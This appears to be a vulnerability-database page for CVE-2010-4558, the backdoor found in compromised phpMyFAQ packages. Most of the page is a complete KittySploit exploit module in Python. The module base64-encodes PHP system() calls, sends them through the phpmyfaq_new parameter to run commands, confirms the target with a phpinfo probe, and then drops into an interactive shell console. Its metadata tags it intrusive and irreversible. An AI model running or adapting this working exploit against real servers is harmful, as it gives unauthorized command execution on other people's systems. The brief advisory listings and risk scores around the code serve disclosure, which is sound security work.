phpMyFAQ - Compromised Package Backdoor RCE (CVE-2010-4558)
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2010-4558 | 17 Dec 201018:00 | – | cve | |
| CVE-2010-4558 | 17 Dec 201018:00 | – | cvelist | |
| EUVD-2010-4524 | 7 Oct 202500:30 | – | euvd | |
| phpMyFAQ - Compromised Package Backdoor Detection (CVE-2010-4558) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2010-4558 | 17 Dec 201018:00 | – | mend | |
| CVE-2010-4558 | 17 Dec 201019:00 | – | nvd | |
| phpMyFAQ Backdoor Unauthorized Access Vulnerability | 20 Dec 201000:00 | – | openvas | |
| phpMyFAQ Backdoor Unauthorized Access Vulnerability | 20 Dec 201000:00 | – | openvas | |
| Code injection | 17 Dec 201019:00 | – | prion | |
| PT-2010-5538 | 17 Dec 201000:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ backdoor RCE (CVE-2010-4558)."""
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'phpMyFAQ - Compromised Package Backdoor RCE (CVE-2010-4558)',
'description': (
'Exploits CVE-2010-4558 by sending base64 PHP via phpmyfaq_new parameter.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2010-4558'],
'platform': Platform.PHP,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-4558'],
'tags': ['phpmyfaq', 'backdoor', 'rce', 'unauth', 'cve-2010-4558'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2010_4558_detect'],
},
},
}
base_path = OptString('', 'phpMyFAQ base path', required=False)
def execute(self, cmd: str) -> str:
base = str(self.base_path or '').rstrip('/')
safe = str(cmd).replace("'", "\\'")
code = f"system('{safe}');"
enc = base64.b64encode(code.encode()).decode()
path = f'{base}/index.php?phpmyfaq_new={enc}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def handler_execute(self):
base = str(self.base_path or '').rstrip('/')
path = f'{base}/index.php?phpmyfaq_new=cGhwaW5mbygpOwo='
r = self.http_request(method='GET', path=path, allow_redirects=False)
body = (r.text or '') if r else ''
if '<title>phpinfo' not in body:
print_error('Target does not appear vulnerable to CVE-2010-4558')
return False
print_success('phpMyFAQ backdoor confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01437